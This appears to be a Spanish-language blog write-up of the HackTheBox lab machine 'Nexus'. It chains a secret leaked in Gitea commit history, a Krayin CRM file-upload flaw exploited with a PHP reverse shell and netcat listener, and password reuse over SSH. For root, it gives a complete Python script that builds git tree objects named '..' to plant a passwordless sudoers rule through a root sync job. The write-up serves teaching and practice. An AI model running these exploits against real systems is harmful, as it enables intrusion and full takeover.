~/posts/nexus-writeup.md

Nexus (HTB): de un .env filtrado a root

Nexus es una máquina de dificultad fácil en HackTheBox, una plataforma de laboratorios donde practicas hacking ofensivo contra sistemas vulnerables a propósito. Todo lo que hay aquí es un entorno de pruebas legal y aislado: nada de esto se hace contra sistemas que no sean tuyos o para los que no tengas permiso explícito.

El recorrido toca varias piezas que se encadenan bien, y por eso me pareció un buen writeup para explicar paso a paso: un servidor Gitea expuesto que filtra credenciales, un CRM vulnerable a un CVE conocido, reutilización de contraseñas para saltar de un usuario a otro, y una escalada a root que abusa de un detalle sutil de cómo git guarda los nombres de archivo.

  • IP objetivo: 10.129.62.1
  • Sistema: Linux (Ubuntu)
  • Dificultad: fácil

La cadena de ataque, de un vistazo

Antes de entrar al detalle, este es el camino completo. Cada eslabón habilita al siguiente:

nexus.htb (web)
  └─ whatweb → usuario j.matthew
     └─ ffuf → subdominio git.nexus.htb (Gitea)
        └─ historial de commits filtra una contraseña
           └─ login en Krayin CRM (billing.nexus.htb) como j.matthew
              └─ CVE-2026-38526 → subida de webshell → shell como www-data
                 └─ .env de Krayin filtra otra contraseña
                    └─ reutilizada por SSH → usuario jones (user.txt)
                       └─ path traversal en el sync de plantillas de Gitea
                          └─ /etc/sudoers.d → root (root.txt)

Las flags (user.txt, root.txt) y las contraseñas van redactadas. Son valores de una instancia efímera y la gracia del writeup es entender el cómo, no copiar la respuesta.

Reconocimiento

Al poner la IP en el navegador, el servidor redirige a http://nexus.htb/. Es un nombre de dominio que nuestra máquina todavía no sabe resolver, así que lo apuntamos a la IP objetivo en el archivo de hosts local (/etc/hosts en Linux es la tabla que traduce nombres a IPs antes de consultar a un DNS):

echo "10.129.62.1 nexus.htb" | sudo tee -a /etc/hosts

Con eso la web ya carga. Lanzamos un escaneo de puertos con nmap para ver qué servicios están expuestos. Las opciones: -p- escanea los 65535 puertos, --min-rate 5000 acelera el envío, -Pn asume que el host está vivo (sin ping previo) y -n evita resolución DNS:

$ nmap -p- --min-rate 5000 -T4 -Pn -n 10.129.62.1
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Solo dos puertos: 22 (SSH) y 80 (HTTP). Todo lo interesante, de momento, está en la web.

Pasamos whatweb, que identifica las tecnologías de un sitio y de paso extrae datos útiles del HTML:

$ whatweb http://nexus.htb
http://nexus.htb [200 OK] Country[RESERVED][ZZ],
  Email[[email protected], [email protected]],
  HTTPServer[Ubuntu Linux][nginx/1.24.0 (Ubuntu)],
  Title[Nexus Energy Authority - Powering the Nation's Future]

Dos correos, y uno con pinta de usuario real: j.matthew. El sitio incluye una oferta de empleo, que suele ser una mina de nombres de empleados válidos. Guardamos j.matthew para más tarde.

Enumeración de subdominios

Muchas aplicaciones viven en subdominios (algo.nexus.htb) que no están enlazados desde la web principal. Para descubrirlos usamos ffuf, que prueba una lista de nombres candidatos en la cabecera Host de la petición. La opción -fc 302 filtra las respuestas con código 302 (la redirección por defecto de los subdominios que no existen), así solo vemos los que sí:

ffuf -u http://nexus.htb -H "Host: FUZZ.nexus.htb" \
  -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
  -fc 302

Sale un resultado con estatus 200: el subdominio git. Lo añadimos al /etc/hosts junto a nexus.htb y lo abrimos.

Gitea: usuarios y credenciales en el historial

git.nexus.htb es una instancia de Gitea (un servicio de repositorios git autoalojado, como un GitHub casero), versión 1.26.0.

Repositorio krayin-docker-setup en el Gitea de git.nexus.htb

Explorando encontramos dos usuarios, jones y admin, y un repositorio público: admin/krayin-docker-setup. Dentro hay un archivo .env (el archivo donde las aplicaciones guardan su configuración y, con demasiada frecuencia, sus secretos). Este nos dice dos cosas:

  • La aplicación es Krayin CRM.
  • Vive en el subdominio billing.nexus.htb (que también añadimos al /etc/hosts).

En la versión actual del .env el campo DB_PASSWORD está vacío, así que a primera vista no hay nada que rascar. Pero git guarda todo el historial: borrar un secreto en un commit posterior no lo elimina de los commits anteriores. Revisando el historial del repositorio aparece un commit donde ese .env sí tenía la contraseña, luego “limpiada”:

- APP_URL=http://nexus.htb
+ APP_URL=http://billing.nexus.htb
...
- DB_PASSWORD=N27xh!!2*****
+ DB_PASSWORD=

Ahí tenemos una contraseña. La lección: nunca confíes en que borrar un secreto del código lo hace desaparecer, queda en el historial hasta que reescribas la rama.

Acceso a Krayin CRM

Probamos esa contraseña filtrada en el panel de Krayin (billing.nexus.htb/admin/login) con el correo que ya teníamos, [email protected], y entra.

Panel de Krayin CRM 2.2.0

En el menú de usuario se ve la versión: Krayin CRM 2.2.0. Con producto y versión identificados, buscamos vulnerabilidades conocidas para esa versión y damos con CVE-2026-38526.

Explotación: CVE-2026-38526 (ejecución remota de código)

El CVE es una vulnerabilidad de subida de archivos arbitrarios: el editor de texto enriquecido de Krayin (TinyMCE) permite subir archivos sin validar bien el tipo, así que podemos subir un .php y el servidor lo ejecutará como código. Eso es exactamente lo que necesitamos para una reverse shell (una conexión que el propio servidor abre de vuelta hacia nosotros, dándonos una terminal).

Usamos un PoC (prueba de concepto) público para el CVE.

El payload: un payload.php con una reverse shell. Generé el código con revshells.com (la plantilla clásica de PHP de pentestmonkey), apuntando a la IP de mi máquina y al puerto en el que voy a escuchar:

$ python3 poc.py -t http://billing.nexus.htb -u [email protected] -p 'N27xh!!2*****' -f payload.php
[+] File uploaded successfully.
Path to file: http://billing.nexus.htb/storage/tinymce/<hash>.php

Antes de disparar la shell, dejamos un listener escuchando con netcat en el puerto que elegimos:

$ nc -lvnp 9001

Y visitamos la URL del .php en el navegador. Al ejecutarse, el servidor nos devuelve la conexión:

listening on [any] 9001 ...
connect to [10.10.16.235] from (UNKNOWN) [10.129.62.1] 41656
Linux nexus 6.8.0-111-generic ... x86_64 GNU/Linux
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Ya estamos dentro como www-data, el usuario con el que corre el servidor web. Es un punto de apoyo, pero de bajos privilegios: no es dueño de nada valioso.

Movimiento lateral: www-data → jones

Con la shell de www-data, revisamos la configuración de Krayin en el disco. El .env que está en producción (/var/www/krayin/.env) tiene su propia contraseña de base de datos, distinta a la que sacamos del Gitea:

$ cat /var/www/krayin/.env
...
DB_PASSWORD=y27xb3ha******

La reutilización de contraseñas es uno de los errores más comunes en la práctica, así que probamos esa contraseña contra los usuarios del sistema. Con su jones no prosperó de forma limpia, pero por SSH sí:

$ ssh [email protected]
[email protected]'s password: y27xb3ha******
...
jones@nexus:~$ whoami
jones

Somos jones, un usuario real con sesión interactiva. Y en su home está la primera flag:

jones@nexus:~$ cat user.txt
[redactado]

Escalada de privilegios: del sync de plantillas de Gitea a root

Esta es la parte más interesante de la máquina. La escalada de jones a root abusa de un servicio programado que sincroniza plantillas de Gitea, y de un detalle poco conocido de cómo git guarda los nombres de archivo.

Reconocimiento del servicio

Despues de bastante investigacion se me dio por revisar tareas automáticas corren en el sistema. Un systemd timer es el equivalente moderno de un cron: dispara un servicio en un horario. Listamos los timers:

$ systemctl list-timers
NEXT              LEFT  LAST              PASSED   UNIT                        ACTIVATES
... 00:32:46 UTC  22s   ... 00:31:46 UTC  37s ago  gitea-template-sync.timer   gitea-template-sync.service

Hay un timer de gitea, y corre cada 60 segundos. Un sync de plantillas tan frecuente ya huele raro. Vemos qué hace el servicio:

$ systemctl status gitea-template-sync.service
● gitea-template-sync.service - Sync Gitea templates
    Process: ExecStart=/usr/bin/python3 /etc/gitea/template-sync.py (code=exited, status=0/SUCCESS)

Corre un script Python, /etc/gitea/template-sync.py, y por los rutas que maneja (/var/lib/gitea, /var/log/template-sync.log) lo hace como root. Cualquier archivo que ese script escriba, lo escribe con permisos de root.

El fallo en el script

El script recorre los repositorios marcados como “plantilla” en Gitea y copia sus archivos a una carpeta local. El fragmento clave:

target = os.path.join(stage_path, filepath)
# ...
os.makedirs(os.path.dirname(target), exist_ok=True)
with open(target, 'wb') as f:
    f.write(cat_result.stdout)

stage_path es algo como /home/git/template-staging/jones/<repo>/. filepath es el nombre de cada archivo del repositorio, obtenido con git ls-tree, y no se valida. El problema es cómo se comporta os.path.join: si le pasas una ruta con .. (que en Linux significa “sube un directorio”), no la normaliza ni la bloquea. Si filepath fuera ../../../../../../etc/sudoers.d/pwn, el open() acabaría escribiendo el archivo fuera de la carpeta de staging, en /etc/sudoers.d/.

Y /etc/sudoers.d/ es oro: es donde se definen reglas de sudo. Si escribimos ahí una regla que nos dé sudo sin contraseña, ganamos root.

Esto es una vulnerabilidad de directory traversal (o path traversal): salirse de la carpeta prevista manipulando la ruta con ...

La complicación: git no deja nombres con ..

La idea es crear un repositorio cuyo “archivo” se llame literalmente ../../../../../../etc/sudoers.d/pwn. Pero git moderno lo impide:

$ git update-index --add --cacheinfo "100644,$HASH,../../etc/passwd"
error: Invalid path '../../etc/passwd'

Desde git 2.35 (a raíz de CVE-2022-24765), git rechaza rutas con segmentos .. al agregarlas al index (la zona de preparación de un commit). Perooooo y aquí está el truco, esa validación solo aplica al index. Los tree objects, la estructura interna con la que git guarda los directorios en .git/objects/, no pasan por ese chequeo si los escribimos a mano.

El truco: tree objects anidados con ..

Un tree object es la representación de un directorio en git: una lista de entradas (modo, nombre, hash). El detalle es que ese nombre puede ser cualquier cadena que no contenga /, incluido ...

Cuando pedimos git ls-tree -r (que aplana toda la jerarquía a rutas completas), git concatena los nombres de cada nivel con /. Así que si anidamos un árbol de directorios llamados .., git nos construye la ruta con traversal por nosotros:

tree raíz
├── README.md          (blob)
└── ..                 (tree)
    └── ..             (tree)
        └── ..         (tree)   ← se repite
            └── etc          (tree)
                └── sudoers.d (tree)
                    └── pwn   (blob)  ← nuestra regla de sudo

Al aplanarlo, git produce: ../../.../etc/sudoers.d/pwn.

¿Cuántos .. hacen falta? El staging está en /home/git/template-staging/jones/<repo>/, que son 5 niveles por debajo de la raíz /. Con 5 .. llegamos a /; un .. de más es inofensivo (subir desde / no hace nada). El script del exploit usa 6 para ir sobre seguro.

El exploit

Como no podemos usar los comandos normales de git, escribimos los objetos a mano. Este script crea el blob con nuestra regla de sudo, los árboles anidados con .. y el commit final:

#!/usr/bin/env python3
import hashlib, os, zlib, time

def write_obj(data, t):
    h = ("%s %d" % (t, len(data))).encode() + b"\x00"
    s = h + data
    sha = hashlib.sha1(s).hexdigest()
    d = os.path.join(".git", "objects", sha[:2])
    os.makedirs(d, exist_ok=True)
    p = os.path.join(d, sha[2:])
    if not os.path.exists(p):
        open(p, "wb").write(zlib.compress(s))
    return sha

def entry(mode, name, sha):
    return ("%s %s" % (mode, name)).encode() + b"\x00" + bytes.fromhex(sha)

# La regla de sudo que nos dará root sin contraseña
payload = b'jones ALL=(ALL) NOPASSWD: ALL\n'
payload_blob = write_obj(payload, "blob")

# Construimos etc/sudoers.d/pwn con tres niveles de tree
sudoers_t   = write_obj(entry("100644", "pwn", payload_blob), "tree")
sudoers_d_t = write_obj(entry("40000", "sudoers.d", sudoers_t), "tree")
etc_t       = write_obj(entry("40000", "etc", sudoers_d_t), "tree")

# Envolvemos en cinco niveles de ".." para escapar del staging
cur = etc_t
for _ in range(5):
    cur = write_obj(entry("40000", "..", cur), "tree")

# Tree raíz: un README (para que parezca una plantilla normal) + un ".." más
root = write_obj(
    entry("100644", "README.md", write_obj(b"# pwn\n", "blob")) + entry("40000", "..", cur),
    "tree",
)

ts = int(time.time())
commit = ("tree %s\nauthor x <x@x> %d +0000\ncommitter x <x@x> %d +0000\n\ninit\n"
          % (root, ts, ts)).encode()
sha = write_obj(commit, "commit")

os.makedirs(os.path.join(".git", "refs", "heads"), exist_ok=True)
open(os.path.join(".git", "refs", "heads", "main"), "w").write(sha + "\n")
print("commit:", sha)

Antes de correrlo, preparamos el repositorio destino. Gitea solo sincroniza los repos marcados como template, así que lo creamos desde la propia interfaz web: New Repository en el Gitea de jones, con nombre pwn-template, y en esa misma pantalla de creación marcamos la casilla Make repository a template:

Creación del repositorio en Gitea con la casilla de template marcada

Con el repo ya creado y marcado como plantilla, lo clonamos:

$ git clone http://jones:'y27xb3ha******'@git.nexus.htb/jones/pwn-template.git
$ cd pwn-template

Ejecutamos el script dentro del clon y comprobamos que el árbol contiene la ruta con traversal:

$ python3 build.py
commit: fee25d2...
$ git ls-tree -r HEAD
100644 blob f27766e...   README.md
100644 blob 363212f...   ../../../../../../etc/sudoers.d/pwn

Ahí está el archivo malicioso. Lo empujamos forzando la rama (el clon ya trae configurado el origin, así que no hace falta añadirlo):

$ git push -u origin main --force

Y esperamos el siguiente tick del timer (máximo 60 segundos). El log confirma que el servicio, corriendo como root, escribió nuestro archivo justo donde queríamos:

$ tail -5 /var/log/template-sync.log
[...] Syncing template: jones/pwn-template
[...]   synced: README.md
[...]   synced: ../../../../../../etc/sudoers.d/pwn
[...] Template sync complete

Root

Con /etc/sudoers.d/pwn en su sitio, jones ya puede usar sudo sin contraseña:

jones@nexus:~$ sudo su
root@nexus:/home/jones# id
uid=0(root) gid=0(root) groups=0(root)
root@nexus:~# cat root.txt
e26033e7************************

Somos root. Máquina completada.

Conclusiones

Nexus encadena fallos que, por separado, son pequeños, pero que juntos forman un camino completo hasta root. Las lecciones que deja:

  • Los subdominios importan. Enumerar Host reveló todo un servicio (Gitea) invisible desde la web principal.
  • El historial de git no olvida. Borrar un secreto en un commit no lo elimina de los anteriores; hay que reescribir la historia (o rotar la credencial).
  • La reutilización de contraseñas cierra el círculo. Una contraseña de base de datos abrió una sesión SSH.
  • os.path.join no sanitiza ... Concatenar rutas que vienen de una fuente externa, sin validar, es una receta clásica de path traversal - y aquí, ejecutada como root, terminó en un compromiso total.